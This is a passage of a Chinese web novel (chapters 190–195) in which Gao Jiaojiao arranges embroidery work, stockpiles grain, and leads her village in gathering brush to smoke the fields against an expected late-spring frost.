生意刚开始能顾住本就很不错了,住在这附近的除了原本的居民,还有不少陪少爷读书的下人,这些人都有可能成为铺子的老主顾。 因为九川书院名气大,过来求学的外地学子也有不少。 书院管得严,不许带人进去伺候,那些娇生惯养的少爷家里,就会在附近买个宅院,安排几个下人,时刻准备着伺候。 这些下人除了盯着书院那边的动静,等着少爷偶尔过来住一住,定期给家里的老爷夫人报个信,就剩下看房子这点事了。 他们有钱又有空闲,自然不会委屈自己,隔三差五出来吃点好吃的,打个牙祭解解馋也是常有的事。 刚才在铺子里吃馄饨的食客,看衣着装扮就像是个小厮。 也不知道他那番桃花雪的话是听谁说的,弄的高娇娇心里不上不下很是难受。 确认自己的铺子接下来的租金应该没有大问题后,高娇娇便拿着清单直奔绣坊。 岚县绣坊不多,只有两家,高娇娇两家都去过,仔细比对过后,选择了城西巷子里的巧慧绣坊。 原因只有一个,城东那家绣坊门槛太高,以她现在的实力够不上,别说去谈合作,就连掌柜她都见不到。 巧慧绣坊就在掌柜卢巧慧自家的院子里,东厢房三间屋,一间会客摆放货品谈生意,剩下两间摆放着绣架,绣娘们便整日趴在绣架跟前绣个不停。 高娇娇已经来过两次了,每次都不空着手走,卢巧慧见她过来,自然笑脸相迎。 看了高娇娇列出来的采买清单,更是眉开眼笑,当即就保证会给高娇娇最实惠的价格,绝对不会亏待老主顾。 高娇娇一边跟着卢巧慧,看她指挥手下配货,一边随意拿起货架上的绣品,问卢巧慧, “像这样的荷包香囊,我要是一个月能给你供五十个,你能给我多少工钱?” 卢巧慧笑盈盈的脸僵了一刻,上下打量了高娇娇两眼,视线重点扫过她还算白皙但并不细嫩的手后,笑容客套了很多, “你是想从我这里接绣活自己干?” 高娇娇摇头,卢巧慧不解道, “那你是怎么个意思?” 第一百九十一章 囤粮 高娇娇拿出两张纸,递了过去, “你先看看这个。” 卢巧慧接过去一看,愣住了。 这花样子有点不一般啊,常见的花样子都是花鸟虫鱼,尤其是代表富贵的牡丹和代表品性的竹子居多。 鸟兽虫鱼也多是代表吉祥的鲤鱼和喜鹊什么的,她还从没见过这种用红通通柿子做花样子的。 但是别说,还挺好看,看着还喜庆。 翻开下面那张,居然是景致图,小桥流水,篱笆小院,远山近树,做个团扇,应当别致的很。 见卢巧慧爱不释手,高娇娇暗暗得意,她出点子,杜衡出画工。 强强联手,还不轻松拿下。 卢巧慧一开始还真不把高娇娇说的生意看在眼里,她手里统共有十几个绣娘,一个绣娘手快的话,一天就能绣四五个荷包。 五十个,她手下绣娘一天就能做出来,根本用不着找人干。 可看到这花样子,卢巧慧改变主意了,只要能给她更多更好看的花样子,别说五十个,五个也能合作。 高娇娇不吝啬花样子,她脑子里的点子多的很,等杜衡回来,再让他帮着画点就是。 反正做这些只是为了让绣坊的人练手,真想赚钱也不指望这个。 两人都有心合作,一拍即合,很快便达成协议。 卢巧慧出料,高娇娇出工,出花样,做好的荷包香囊只要验收没问题,一个按五文钱工钱当场结算。 让高娇娇累死累活戳半天,就赚五文钱工钱她肯定不干。 但是对比干一天苦力才三十文的工钱,绣娘风吹不着雨淋不着,不挨晒不受冻,坐在家里一天就能赚二三十文,村里的大姑娘小媳妇肯定愿意。 跟绣坊谈妥,拿上自己要的东西,高娇娇本打算直接去书院,看看杜衡就回去。 可是路过粮铺的时候,高娇娇还是忍不住停了下来。 她犹豫着要不要再买点粮食,家里储备的粮食正常来说足够吃到秋收了,但是倒春寒的可能,还有朱钰的话,都让高娇娇放心不下。 万一今年收成很差,万一再闹什么灾荒,手里有粮,心里才不会慌啊。 可手里的银子早就安排了用途,突然买粮,缺的银子从哪儿补上? 粮铺伙计见高娇娇踌躇不前,以为她是嫌粮价太高,便主动凑上去冲高娇娇道: “客官大概不知道,那个暴民头子又跑到豫州作乱了,豫州可是咱们大夏的粮仓。 豫州要是乱了,各州的粮价肯定会上涨,您别看现在粮价不低,接下来还会更高.......” 高娇娇顿时不再犹豫,钱可以再赚,粮食必须要囤! 伙计靠着自己的机灵,又给铺子带来了十两银子的生意。 高娇娇的驴车上也堆满了粮食,她不敢再耽搁,买了糕点和梅子烤肉就赶紧去书院。 杜衡刚下课,正要跟同窗们去食堂吃饭,就听人喊,说他家里有人过来给他送东西。 杜衡不由愣住了,他在荣阳县读了好几年书,从没遇到这种情况。 每逢佳节,只能眼睁睁看着同窗家里人送这个送那个,啃着他的窝头吃着他的咸菜,就着他快翻烂的书,继续苦读。 羡慕自然是羡慕的,但是抱怨却从未有过。 他知道家里困难,大哥很忙,进城还要花钱,他能读书已经很不容易了,根本不敢有这种奢望。 可是突然听到家里给他送东西,看到同窗们羡慕的眼神,杜衡心里还是控制不住涌上来一股满足感。 让他有点羞耻,但又无比开心。 他拔脚就往大门口寮房跑,看到跟看门老大爷聊的起劲的高娇娇,忍不住高兴地喊了声, “嫂嫂!” 高娇娇笑着招手, “快过来,我给你带了梅子烤肉,还热乎着呢。” 杜衡忙快步上前,还不忘冲老大爷行了个礼。 一向不怎么爱搭理人的老大爷,破天荒冲他笑了笑,对高娇娇道: “你这个小叔子是个读书的料,我在书院看门几十年,不会看走眼的。” 高娇娇笑着将一个油纸包塞到老大爷手里, “承您吉言,这是老付家的枣子糕,绵软不费牙,您老拿着甜甜嘴。” 老大爷笑容更深了几分,转身去自己住的小屋,给高娇娇和杜衡倒了两碗热茶,这才回门口继续看门。 寮房里就剩下高娇娇和杜衡了,高娇娇把烤肉往杜衡跟前推了推,杜衡又推了回去,坚持道: “嫂嫂先吃。” 高娇娇嗔怪道, “我在外面想吃随时可以买,你赶紧吃吧,别让来让去了。” 杜衡这才吃了起来,他吃着,高娇娇问着。 得知他在书院一切都好,就是凌十三有点烦人。 整天往他跟前凑,每天吃饭跑来找他也就算了,还花钱跟人换了舍房,非要跟他住一屋,弄的杜衡每天晚上还要盯着他背书。 要不就以凌十三那吊儿郎当不学无术的劲儿,杜衡都担心他撑不到月考,就要被劝退了。 高娇娇好笑地听着杜衡抱怨,能看得出来,他抱怨归抱怨,心里还是喜欢的。 留宿小院那晚,凌十三悄悄跟她道了歉,还表达了想跟杜衡当至交好友的心愿。 高娇娇觉得凌十三这个人虽然脑子不太行,但是心肠不坏,对人也坦诚,便给他支了个招,让他死皮赖脸黏着杜衡。 杜衡哪里都好,就是心思太重,不放松。 有凌十三在身旁闹腾,会让他短暂的做回自己,恢复一点少年心性。 问完杜衡的情况,高娇娇便说起了家里的情况。 得知高娇娇她们要办绣坊,杜衡很支持,他一直都觉得光让嫂嫂在家种地打猎太屈才了。 这一路走过来,杜衡深知高娇娇的本事,她不光能打,也能谋划,有着不输男子的胸怀和气概。 他甚至暗暗惋惜嫂嫂不是男子,不然完全可以闯荡出一番事业来。 现在嫂嫂有了自己想干的事,他肯定鼎力支持,以后绣坊画花样子的事,他包了。 高娇娇想做什么要做什么,其实并不需要征求杜衡的意见,但是能得到他的支持,她还是很开心。 两人说完了绣坊,又说起了高大宝几个去了军营的事。 杜衡很是遗憾,没能给他们送别,下次见面也不知要到什么时候了。 还没感叹完,就听到了凌十三的大嗓门, “好哇,杜衡,你小子,嫂嫂过来也不叫我一起。” 杜衡顿时一阵无语,这是他嫂嫂,他干嘛要叫别人一起过来? 可凌十三不管,一见面就跟高娇娇告状。 说舍房里有个人每晚都打呼噜,呼噜声还特别吵;说食堂的饭菜不好吃,肉恨不得剁成馅,得使劲扒拉才能找得着;又说夫子太凶了,背书磕巴一下都打手,他才来了没几天,手都快被打烂了....... 一边说个不停,一边还从杜衡手里抢肉。 吃的腮帮子鼓鼓囊囊,也不影响他吐槽。 看的高娇娇忍不住想笑,有这个活宝在身边,她不用担心杜衡在书院会无聊了。 最后,高娇娇叮嘱杜衡和凌十三注意保暖,说不定会变天甚至下雪,不要轻易把冬衣脱下。 听得凌十三直挠头,等高娇娇一走就问杜衡, “嫂嫂是从哪儿听来的这种谣言? 这都三月了,天都暖和成这样了,怎么可能还会下雪?” 杜衡拧着眉,心里有种不好的预感。 嫂嫂从不口出妄言,她既然这么说,那就真有可能倒春寒。 去年的旱灾对岚县的影响虽不像荣阳那边大,但也不小,他听夫子讲时政民生时提到,去年岚县的收成只有盛年的六成。 今年要是再倒春寒,只怕收成会更差。 要是那样,眼下的太平时光怕是持续不了多久了。 杜衡看着小路旁已经冒出了花苞的桃树,暗暗在心里叹了口气。 第一百九十二章 招工 石楼村高家 自从姚春香放话出去要招工后,来高家打听情况的人就没断过。 刘小翠最爱在人前显摆,这种事自然乐于出头,噼里啪啦跟人说个不停, “娃她三婶绣花手艺可好了,以前还给城里的大户人家绣过屏风呢。 这不是想着大家伙,才想办个绣坊,教姑娘们绣绣花,学个手艺,将来也能赚钱给自己攒嫁妆。 咱们刚开始,不准备招太多人,十个就行,丝线布料啥的都由咱们绣坊出,工钱按件算。 做成一件算一件的工钱,工钱得看件大小,具体多少得等我小姑子跟城里的大绣坊商量。 不过咱们每个月一定会给结算工钱,绝对不会拖欠,这点肯定能保证。 想要来学的,每天吃了早饭就过来,中午就在绣坊吃饭休息半个时辰,下午干到太阳落山就能回去。 午饭咱们绣坊管,每个月还有四天假,家里有事啥的,你就趁着放假的时候办。 不是谁来都要的,得让娃她三婶挑,对,想让姑娘去的,就带进东边那间窑里先瞧一瞧........” 一听能学绣花还能赚钱,家里有姑娘的不由高兴万分,立刻回去喊人。 没姑娘的不乐意了,不就是绣花嘛,她们虽不会,但缝缝补补的手艺可是有的,怎么就不能学了? 李二他娘拉着大儿媳妇就去找林巧儿,进门就嚷嚷, “三壮媳妇,你看看我们行不行? 我们也可想学绣花呢,只要你肯教,我们肯定好好学,绝对不偷懒。” 林巧儿没一口回绝,拉过李二他娘手看了看,递给她一根绣花针,让她去旁边绣架上绣一个圆出来。 李二他娘心想不就是缝个圆圈,这有啥难的。 哪知捏着那根比缝衣服针细的多的绣花针,她这手就有些不听使唤了,费了好大劲儿,缝出来的圆一点也不圆,歪七扭八,活似一滩烂泥。 众人不由都笑了起来,林巧儿也笑,轻声细语跟李二他娘解释道: “婶子,这绣花不比咱们缝衣服,只要针脚匀称缝的结实就行,得用细细的线,细细的针,一点点绣,才能绣出来好看的花花草草。 你捏的这根针还不是最细的,最细的我估计你都捏不住。 你干活出力太多,手指关节都有些变形了,做不了太精细的活儿了。” 李二他娘见林巧儿态度亲和,耐心解释,之前被大家笑话的那点子羞恼便不在意了,高声冲众人道: “都听见没?手跟我这样粗苯的,就别来问了,咱们捏不了绣花针,还是回去干粗活吧。” 听到自己没戏了,识趣的人便转身离去,可还有那不死心的,拽着自家儿媳上前让林巧儿看。 林巧儿来者不拒,看到有的小媳妇手还行,便点头道: “这手关节还算活络,就是皮肤太粗糙,想要绣花也不是不行,就是得好好保养一阵,不然手会勾线的。” 说着,便拿出一根丝线当众劈给大家看。 大家不由惊叹连连,那么细的线还要劈成好几股,眼神差点的都快看不见了。 林巧儿又说了些保养手的法子,首先肯定是不能再干粗活了,然后就是每天晚上睡觉前,用热水把手泡软,然后涂上厚厚的手油,用棉布包着睡一晚,次日一早再洗掉。 如此这般养上十天半月,等手上的老皮都软化掉了,就能拿针了。 但是需得注意的是,即便手养好了,以后也要经常涂手油,不能再碰太凉的水,砍柴割草收割庄稼之类费手的活儿也是不能再干了。 听到这话,好些人都打了退堂鼓。 本来想着让家里大姑娘小媳妇学个手艺,赚点工钱,没想到这么麻烦,以后不能再干粗活,那家里的粗活都让谁来干? 总不能让男人洗衣做饭,伺候一家老小吧? 更别提还要涂手油,那手油不得花钱买啊? 但想到足不出户就能赚到工钱,大家又有些舍不得。 姚春香见状立马道: “我问过小刘大夫了,没有手油也可以用菜油猪油代替,只要是油就行,只是用手油会更好一点。” 李二他娘立刻道: “猪油咱有,之前分下去的猪油我家还没吃完呢,正好拿来让媳妇涂手。 大不了以后我家也跟姚嫂子家一样请人帮着做饭洗衣服,反正她要是学成了,赚的工钱也足够请人了。 三壮媳妇,我替我儿媳妇把名给报上,你快给写上。 这搁到以前啊,我想让她学手艺,还得给你送礼才行呢,说起来,还是我占你便宜了呢。” 在围观众人,尤其是年轻媳妇羡慕的注视下,林巧儿把李二媳妇的名字写在了纸上。 林巧儿叮嘱李二媳妇, “你这手得好好养养,坚持每晚涂手油,等养上十天就过来,咱们一边学针法一边继续养。 要是养的好,学得快,差不多有个一个来月你就能自己上手开始绣了。 不过正式接活之前,咱们只管午饭没有工钱,你能接受吗?” 李二媳妇连忙点头,李二他娘笑呵呵道: “有啥不能接受的,这天天在屋里坐着,能学手艺,还能赚工钱的好事,哪儿去找? 也就你们仁义,想着大家伙,不藏着掖着只教自家人,愿意教咱们。” 听李二他娘这么说,原本犹豫不决的都一窝蜂涌到林巧儿面前要报名。 姚春香只得再次强调要先瞧一瞧,再排队报名登记,只要十个人,多了不是不收,是实在教不过来,只能等下次招工了。 闹腾了一天,终于挑了十个人出来,八个姑娘,两个年轻媳妇。 家里总算清净了,林巧儿把明天要做的准备安排好,找了一圈不见高二宝几个,不由忙问高春花。 高春花洗着菜,头也不抬道: “他们肯定是去村口等姑姑了,姑姑今儿进城,估摸着也该回来了。” 村口,高娇娇正在揉被风沙迷住的眼睛,就听到一串欢呼,睁开眼,看到高二宝领着几个小的蹦蹦跳跳往她这边跑。 高娇娇不由忙喊, “都别跑了,在原地等着,当心摔倒。” 话音刚落,高冬月就吧唧摔了个嘴啃地,可还不等她哭出声,就被哥哥姐姐手忙脚乱抱了起来。 瞬间好几只小手凑过来,把她已经长的肉嘟嘟的小脸给揉的乱七八糟。 看的高娇娇好笑不已,把挂在车辕上的油纸包拿下来,径直扔到高二宝怀里, “拿去分了吃,给冬月多分两个,看把她给摔的。” 高二宝笑嘻嘻打开,孩子们欢呼着分着糖,高冬月睫毛上还挂着泪珠,就被突然塞到嘴里甜滋滋的味道弄的笑弯了眼睛。 见高娇娇回来了,姚春香赶紧迎上去,还没走到跟前,就被她车上那摞老高的粮食袋子惊呆了。 “闺女,你买这么多粮食干啥?” “娘,你先帮我卸了车,我再慢慢跟你说。” 高娇娇将驴车赶到院里,姚春香快步走过来,帮着把粮食扛进了屋。 十几袋粮食全部搬完,高娇娇把自己这趟进城的所见所闻也说完了。 姚春香听得眉头紧皱,荣阳县那边倒春寒都在二月,一旦进入三月,即便会变天,也不会冷到下雪了。 三月树都发芽花都长出花苞,种到地里的庄稼说发芽就发芽了,这时候要是突然下雪,那不都给冻死了? 第一百九十三章 治懒蛋就是要心狠 高娇娇不忍见姚春香发愁,忙安慰道: “娘,我估摸着双水村那边有经验,说不定遇到过这种情况。 不如明天让我爹过去找王里正请教请教,有什么解决的法子也不一定。 就算没有,最坏的结果无非咱们再补种一回,收成减少,咱们又不是承担不起,有啥可愁的?” 姚春香拍了拍高娇娇的手,叹了口气道: “咱家是能承担的起,可承担不起的人家多着呢。 我今儿招工的时候才发现,张家集那些人对咱家请外村人过来干活有意见。 我本来是觉着用自己村里的人不好意思,也想借这个机会跟双水村走的近一点,没想到张家集那些人会觉得我这是跟他们不亲近。 说到底还是张家集出来的那群人家底薄,日子过的紧巴,怕坐吃山空,也很想赚钱。 从老家和绛县过来的人,路上多多少少都分到了钱粮,可张家集的人没有,还受了那么大的灾,咱们以后是得多想着他们点。” 高娇娇点头,这事儿确实是他们疏忽了,这次招工三婶招了两个张家集村的人,看来也是有这方面的考虑。 忙活完,天色也不早了,姚春香回去准备晚饭,让高娇娇带着杜映梅她们一起过来吃。 杜映梅打来一盆温水,让高娇娇擦洗。 高娇娇洗完脸和手,又把布巾打湿擦了擦耳朵和脖子,看着洗出来的水都有些发黑,不由冲杜映梅道: “这边的风沙真是太大了,去的时候还好,回来的时候那风吹的真叫一个大。 风卷着沙土尘灰遮天蔽日的,要不是我车上东西沉,感觉都能把车掀飞了。 你们以后出门可得小心点,碰上风太大就别往远处跑了。 还有就是最好用布巾把头包好,要不头发里全是灰,脏得很。” 杜映梅点头,她和高春花今儿也被吹够呛,这里的天跟老家真是不一样,她们得慢慢适应才行。 到了高家,进屋坐到炕桌旁一看,居然有野葱炒鸡蛋,面片汤里还放了绿绿的苦菜和嫩嫩的蒲公英。 高娇娇不由惊喜万分,忙问道: “这是从哪儿找的?翻地的时候我还特意寻摸了一通,都没找到。” 姚春香指了指高春花和杜映梅, “她俩去后头岗上找窑洞的时候发现的,挖了一篮子呢,咱家吃不完,我还给你婶子们分了点。” 高娇娇忙问高春花, “那地儿还有吗?咱们明天要不然再去挖点? 这个野葱腌了也好吃,咱们多挖点腌一坛子呗。” 刘小翠抢着摆手道: “可别去了,那地儿有狼,她俩要不是运气好,正好你二哥他们在附近砍柴,听到动静就赶了过来,保不齐就被狼吃了。” 高娇娇愣住,狼怎么这个时候下山了? 按理说,这里已经住了这么多人,养的也是牛和驴这样的大牲畜,又没养鸡鸭羊羔什么的,狼冒险进村除了被人驱逐,能得到什么好处? 现在又不是大雪封山找不到吃的的时候,狼实在犯不着冒着险,除非—— 狼群预知到了危险,察觉到了寒潮即将来临。 高娇娇嘴里的饭顿时不香了,她扭头问姚春香, “娘,我爹他们啥时候回来? 狼都进村了,不商量一下怎么办吗?” 姚春香往高娇娇碗里夹了一筷子野葱炒鸡蛋,催促道: “你别操心了,你爹已经带人进山寻找狼群了,赶紧吃你的,吃完了早些回去睡,跑一天了你还不累啊?” 高娇娇摇头道: “不累,娘,我吃完了进山找我爹他们去,你帮我照看两天小寒和冬月啊。” “你爹和二哥三哥都去了,还带了十几个人,你就别去了。” 姚春香赶忙拦着道: “万一狼跑到村里,你还得帮着你大哥他们保护村里人呢。” 高娇娇一想也是,狼要真是预知到了危险才跑下山,说不定已经躲到村子附近了。 爹他们进山不一定能找得到狼群,反倒留在村里的人更危险,她得提醒大哥一声,巡逻时背上弓箭,以防万一。 见高娇娇不再坚持,姚春香暗暗松了口气。 不是她不相信闺女的本事,她只是不想再让闺女传出什么力大如神以一敌百的传闻了。 那种传闻对于一个女人来说,可不是什么好事。 她从没想过让闺女出人头地,她只想让她一生无忧无虑,安安稳稳。 高长天进山了,一两天之内回不来,去双水村请教的事,只能由朱钰来。 朱钰自小在城里长大,来了石楼村后才开始下地,生怕自己跟王里正没得聊,便把姚春香也一起带了过去。 果然不出朱钰所料,他跟王里正才聊了几句就被嫌弃了,姚春香却三言两语就赢得了王里正的信任。 王里正自从天变得格外暖和后就开始担心,在他六十多年的种地生涯中,遇到过三次桃花雪,每次都损失惨重。 他知道的唯一行之有效的办法是用烟熏,在地里点燃秸秆或杂草,让其产生的浓烟弥漫整片地。 只有这样,庄稼才有可能不被冻死。 听完王里正的办法,朱钰和姚春香脸色都不太好。 烟熏这个法子听着简单,但是要实施起来很困难,让整片地都弥漫起浓烟,那可不是只烧一点火就能弄出来的。 而且一烧可能就是一整夜,要准备的秸秆或杂草可得不少,更麻烦的是,还可能要持续好几天。 要确保万无一失,现在就得让所有人去采集杂草枯枝,再花费大量的人力把杂草堆放到田地里。 如果真倒春寒了还好,要是什么事也没发生,还得再把这些东西清理掉。 光想想朱钰就觉得头疼,这事一个办不好,就得被全村人埋怨死。 姚春香不头疼,她也没想强迫全村人都这么干,她直接对朱钰道: “我家先这么干,别的家想干就会跟着干,不想干的懒蛋,你就是逼着让他干了,他不好好烧也是白瞎,不如干脆不管。” 朱钰很是意外,他以为姚春香会跟高长天一样,会想尽办法拉着所有人一起行动。 没想到她居然是这种态度,别说,还挺对他胃口。 朱钰忍不住试探道: “那我需得请教嫂嫂,要是不管,那些人没收成了要饿肚子,怎么办?” “饿不了肚子,只要我们这些有收成的日子过的还行,那些有手有脚的人就能靠着给我们干活赚到钱。 有时候说再多不如让他们吃一次亏,吃一堑长一智,治懒蛋就要狠得下心。” 姚春香已经盘算好了,她可不是孩他爹那种菩萨心肠,她心肠硬着呢。 朱钰笑的十分开心,他算是知道娇娇随谁了。 两人就此说定,回去后姚春香就安排家里人收集杂草干柴,还请曹寡妇帮忙给双水村的人传个话。 她这边需要的干草和干柴特别多,不管是谁,只要有,拿来,她都可以用钱买,也可以用粮食换。 曹寡妇高兴坏了,赶紧把这个好消息告诉亲戚朋友。 别的东西他们没有,杂草干柴漫山遍野都是,东家许诺十斤给一文钱,一百斤可以换一斤荞麦呢。 这简直就跟捡钱一样! 第一百九十四章 混乱的局面 高娇娇等人也一起出动去捡柴,要熏烟自然不能用大柴火,得用小柴火慢慢烧,才能把烟闷出来。 这就要求柴火不能太容易烧,也不能太难烧。 高娇娇盯上了村外坡下沟里的那片灌木丛,直接赶着驴车,拉上一家大小去砍柴。 灌木丛里主要是野生榛子树,还有一些不知道是什么的红色藤条,以及一种带刺的据说会长小果子的沙棘树。 高娇娇一马当先,提着砍柴刀一通狂砍。 高春花和杜映梅默契的跟在她身后,将柴火整齐堆放在一起,等够一捆了就用藤条绑起来,一会儿好搬上车。 高二宝带着高三宝和高小寒,把不好捆绑的零碎枝条扔到车上,顺便把附近能看到的干草拔了,一并扔到车上。 至于其他人,姚春香和刘小翠要做家务,林巧儿带着高秋花和高雪花去绣坊了,高秋菊和高春雨去了医馆。 张狗子去跟高大壮换班,带人在村子周围巡逻,以防狼跑到村里来。 高冬月实在是太小了,带着出门不方便,高娇娇就把她放到高家,让娘帮着照看。 砍倒一大片,估摸着应该够装一车后,高娇娇便停了下来。 听到高春花心里嘀咕今天幸运值有十三,在河边离桥三四里的地方,有点远,要不还是算了吧。 高娇娇决定自己过去看一眼,剩下的活儿他们得干一会儿,她快去快回,应该来得及。 跟高春花他们说了声,高娇娇便快步朝河边走去。 一路沿着河边走,大概走了三里多,看到一处河流分叉形成的水沟,里面没有水了,乍一眼看上去只有干巴巴的茅草。 割掉茅草,高娇娇用砍柴刀翻了翻,发现了几棵荠菜,忙挖了出来。 顺着沟往前找,又发现了一些野葱,继续往前,发现了一片蒲公英。 应该刚长出来没多久,最大的不过巴掌大小,但是一个挨着一个,一整片看起来不少。 高娇娇挖了一颗又一颗,看的巡逻路过的张狗子不由隔着河问她, “你是找到啥好东西了,高兴成那样?” “蒲,黄花苗,挺多的,够蒸一锅蒸菜吃了。” 张狗子一听也高兴不已,嫩嫩的黄花苗做成蒸菜,沾着蒜水别提多爽口了。 尤其在吃了一冬天的萝卜白菜后,这点子嫩绿更是美味。 张狗子想要过来帮忙,高娇娇忙摆手道: “我一会儿就挖完了,你们赶紧巡逻吧,对了,帮我留意着坡下沟里那边,春花他们在那边拾柴。” 听到高春花在那边,张狗子本能就想避开,但想到自己的职责,还是一口应了下来。 高春花几个正费力把柴往驴车上装,张狗子过来看见,便接过他们手上的柴,扛起放在了车上。 看到张狗子忽然过来,高春花喜出望外,可她刚喊了声,张狗子就淡淡来了句, “刚才遇到娇娇,她让我过来看看。 你们装好车了就赶紧回去吧,别在外面晃荡,附近可能会有狼。” 说完,就转身继续抗捆好的柴火了。 那避之不及的态度,让高春花心里很不是滋味。 杜映梅丝毫没有察觉到气氛不对,一边追着张狗子帮着抬柴火,一边问高娇娇去了哪儿在干嘛。 张狗子面对杜映梅,比面对高春花轻松了许多,也愿意同她多说几句。 得知嫂嫂挖到了很多黄花苗,今晚能吃上蒸菜,杜映梅不由咽了口口水。 她以前不怎么喜欢吃蒸菜,家里缺粮,娘又想让哥哥们吃口干的,就会做蒸菜。 各种野菜、榆钱、槐花,甚至萝卜缨、南瓜秧,撒点杂粮面,上锅蒸熟了,沾着蒜水,就是一顿饭了。 刚开始吃还好,吃多了胃里就泛酸,尤其杂粮面放的少,菜特别多的时候,还不如菜窝窝头好吃呢。 也不知道是逃荒这一路吃肉吃多了,还是嫂嫂整天在她跟前嘀咕想吃点绿叶菜,她现在居然也觉得绿叶菜好吃了。 当然最主要的还是嫂嫂说的蒸菜,肯定不是她娘做的那种面一点点菜特别多,蒜水里还舍不得放盐的蒸菜。 上次姚大娘都用鸡蛋炒野葱了,这次吃蒸菜,蒜水里指不定还会放芝麻油呢。 芝麻油可香了,蒜水里放那个,沾鞋底子都好吃。 张狗子无语地看着忍不住吸溜口水的杜映梅,不就是个蒸菜嘛,至于馋成这样? 他可都听二宝和三宝说了,高娇娇每次进城都给他们带零嘴回来,以她那个大方劲儿,肯定少不了杜映梅的。 杜映梅被张狗子看的脸红,嘿嘿笑着解释道: “好久没吃绿叶菜了,突然听你这么一说,还怪馋的呢。” 张狗子好笑不已,她倒是实诚,一点都不像杜衡那个心眼比藕眼还多的。 高春花本来就心里堵得慌,见张狗子还跟杜映梅有说有笑,杜映梅还破天荒脸红了,不由火冒三丈。 这俩人居然当着她的面眉来眼去,不要脸,真是太不要脸了! “你们赶紧的吧,就这点活儿还磨磨蹭蹭个没完!” 带着怒气,高春花一张嘴就冲张狗子和杜映梅嚷道。 杜映梅愣住了,她没磨蹭啊,一直在干活呢。 张狗子直接挑眉怼了回去, “你空着手站着看的人,怎么好意思说我们?” 高春花听到这话,更是气不打一出来。 他居然这么护着杜映梅,让她这么下不来台,真是太过分了! 杜映梅见高春花眼眶都泛红起来,连忙打圆场道: “你是不是急着回去啊,就剩两捆了,我这就赶紧搬上车,你别急啊。” 说着,便弯下腰去搬柴,也不敢再喊张狗子一起了。 她虽然不明白高春花为啥突然发火,但隐约觉得好像跟张狗子有关,毕竟她跟高春花单独一起干活的时候,她可从没莫名其妙冲她发过火。 张狗子见杜映梅要去搬柴,忙弯下腰帮忙。 至于高春花在发什么疯,他懒得理会。 高春花被张狗子冷漠的样子刺的心中酸疼,忍不住想问问他到底是怎么想的。 就因为她娘嫌弃他穷,不想让她跟他走的太近,他就这么对她? 她可从没嫌弃过他啊,对他掏心掏肺却换来这么个结果,凭什么? 难过、愤懑、不甘,一下子都涌到了心头,让高春花控制不住想上前,想一把揪住张狗子好好问问他。 高娇娇刚走过来,就撞到这么一个混乱的局面,不由很是头疼。 她一把拽住想要逼问张狗子的高春花,腾出另一只手接过杜映梅费劲抱起的柴火,冲扛着另一捆柴的张狗子道: “这儿不用你帮忙,你快去巡逻吧。” 张狗子见高娇娇一手就把一捆柴提了起来,觉得确实用不着他帮忙了,便把柴火放到车上,回了巡逻队。 高娇娇赶着驴车,杜映梅和高二宝在后面帮着推,高春花跟在车旁低着头闷闷不乐。 第一百九十五章 变天了 高三宝和高小寒看看这个,又看看那个,头挨头凑在一处小声嘀咕, “大姐生气了。” “大姐为啥生气?” “因为狗子叔凶她了。” “狗子叔为啥凶她?” “因为她吼他们。” “她为啥要吼?” 高三宝被问住了,挠了挠头,想了又想,一拍脑袋道: “因为大姐饿了,她也想吃蒸菜。” 高娇娇没忍住,噗嗤笑出了声。 这俩小子说悄悄话还这么大声,生怕他们大姐气不死吗? 杜映梅和高二宝小心翼翼偷瞄高春花,见高春花脸色铁青,脚步用力的恨不得把地上踩个坑出来,不由立刻收回视线,对视一眼,缩了缩脖子。 高娇娇也听到了高春花过分用力的脚步声,无奈地暗叹了口气。 张狗子摆明了对高春花无意,高春花却非要一条道走到黑。今天要不是她拦着,任由高春花闹腾起来,以后大家还怎么相处? 高娇娇怎么也想不明白,都重生了,何必揪着上辈子的事不放? 就算张狗子以后会认祖归宗,就算跟着他能获得荣华富贵,可他们现在的日子过的也不差啊。 只要大家一起努力,还能越过越好。 何苦非要去趟那个浑水,在家附近找个踏实能干长得好看的小伙入赘,不比跟着张狗子强? 难道少女的芳心一旦交出去,就再也收不回? 高娇娇忍不住被自己酸了一下,抖了抖身子,不再去琢磨了。 反正她是绝对不会把心交给任何一个人,她恨不得给自己的心上八百道锁。 天下美好的事那么多,吃喝玩乐还忙不过来呢,傻子才去谈情说爱为了个男人要死要活。 许是因为看破情爱,眼神变得格外锐利。 也可能是中午吃了蒸菜,又睡了个小觉精神好,高娇娇下午去砍柴的时候,在灌木丛里发现了野兔的踪迹。 她一下子就来了精神,霹雳哐当砍出一条小道,让高春花和杜映梅她们收拾柴火,自己提着砍柴刀就去追兔子了。 高春花急的直喊, “姑姑,姑姑你别乱跑啊,当心有狼。” 杜映梅高兴的直嚷嚷, “有狼才好呢,我嫂嫂一刀一个,晚上咱们还能吃狼肉。” 高二宝拍手点头, “对对对,姑姑可厉害了,狼可打不过她。” “狼肉好吃吗?” 高三宝和高小寒只关心这个,高春花看着他们都无语了。 姑姑再厉害,那也是兔子啊,兔子跑的那么快,哪儿有那么好追上的,万一姑姑一不留神跑远了,这么多柴他们要怎么拉回去啊? 还不等高春花再喊,杜映梅就眼尖地看到了高娇娇的身影从沟下头冒了出来。 她伸长脖子垫着脚尖使劲看了又看,高兴大喊, “嫂嫂抓到兔子了,我见她手里拎着东西!” 高二宝恨不得自己瞬间长的比杜映梅还高,使劲蹦跶着也想瞧瞧。 高三宝和高小寒有样学样,也跟着蹦蹦跳跳。 高春花白眼都快翻到天上了,真受不了这群傻子,一会儿姑姑过来不就看见了吗? 可她也忍不住悄悄踮起脚尖,想看看姑姑到底打到了几只兔子。 高娇娇提着一只野兔往回走,周围的人看见了,都纷纷冲她喊, “娇娇在哪儿打到的兔子啊?好大一只!” “在沟边田埂上,我估计附近有兔子窝,你们好好找找兴许能找到。” 高娇娇十分大方分享,她今天还有事要忙,没功夫找兔子窝。 众人听到,有人立刻就去找,有人则追着问高娇娇, “娇娇,你家真准备用烟熏地啊? 那得费不少柴火呢,还得搬来运去费劲的很,我看这天还暖和着呢,不一定会变。” 高娇娇继续走着回道, “谁知道呢,我们也是以防万一,万一冻坏了没收成,你不心疼?” 问话的人不吭声了,脸上满是犹豫不决。 高娇娇也不再多说,提着兔子走了回去,冲眼巴巴等着的几人晃了晃道: “都赶紧干活,晚上咱们炖兔子肉吃。” 几人想到香喷喷的兔子肉,浑身都是劲,忙把捆好的柴装上车,一起送往地里。 高娇娇赶着牛车走过石桥的时候,忽然感到一股冷意,忍不住打了个喷嚏。 扭头看高春花几人,也是一副缩头缩脑被冻着的样子。 看来不是她的错觉,也不是汗落了才觉得冷,就是变天了。 